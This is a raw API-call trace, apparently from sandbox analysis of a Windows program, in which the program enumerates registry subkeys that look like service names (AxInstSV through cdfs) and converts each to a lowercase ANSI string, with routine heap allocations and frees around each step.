[0243.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.022] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0243.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0243.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.022] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0243.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0243.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.022] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0243.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0243.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.022] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.022] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0243.022] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0243.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0243.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.023] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0243.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0243.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.023] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0243.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0243.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0243.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.023] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0243.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0243.023] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.023] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.024] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0243.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0243.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0243.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.024] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0243.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0243.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.024] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0243.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0243.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.024] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.024] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0243.024] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0243.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.025] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0243.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0243.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.025] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0243.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0243.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.025] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0243.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0243.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.026] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0243.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0243.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.026] RegEnumKeyW (in: hKey=0x150, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0243.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0243.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.026] RegEnumKeyW (in: hKey=0x150, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0243.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0243.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.026] RegEnumKeyW (in: hKey=0x150, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0243.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0243.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.027] RegEnumKeyW (in: hKey=0x150, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0243.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0243.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.027] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0243.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0243.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.027] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0243.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0243.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0243.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 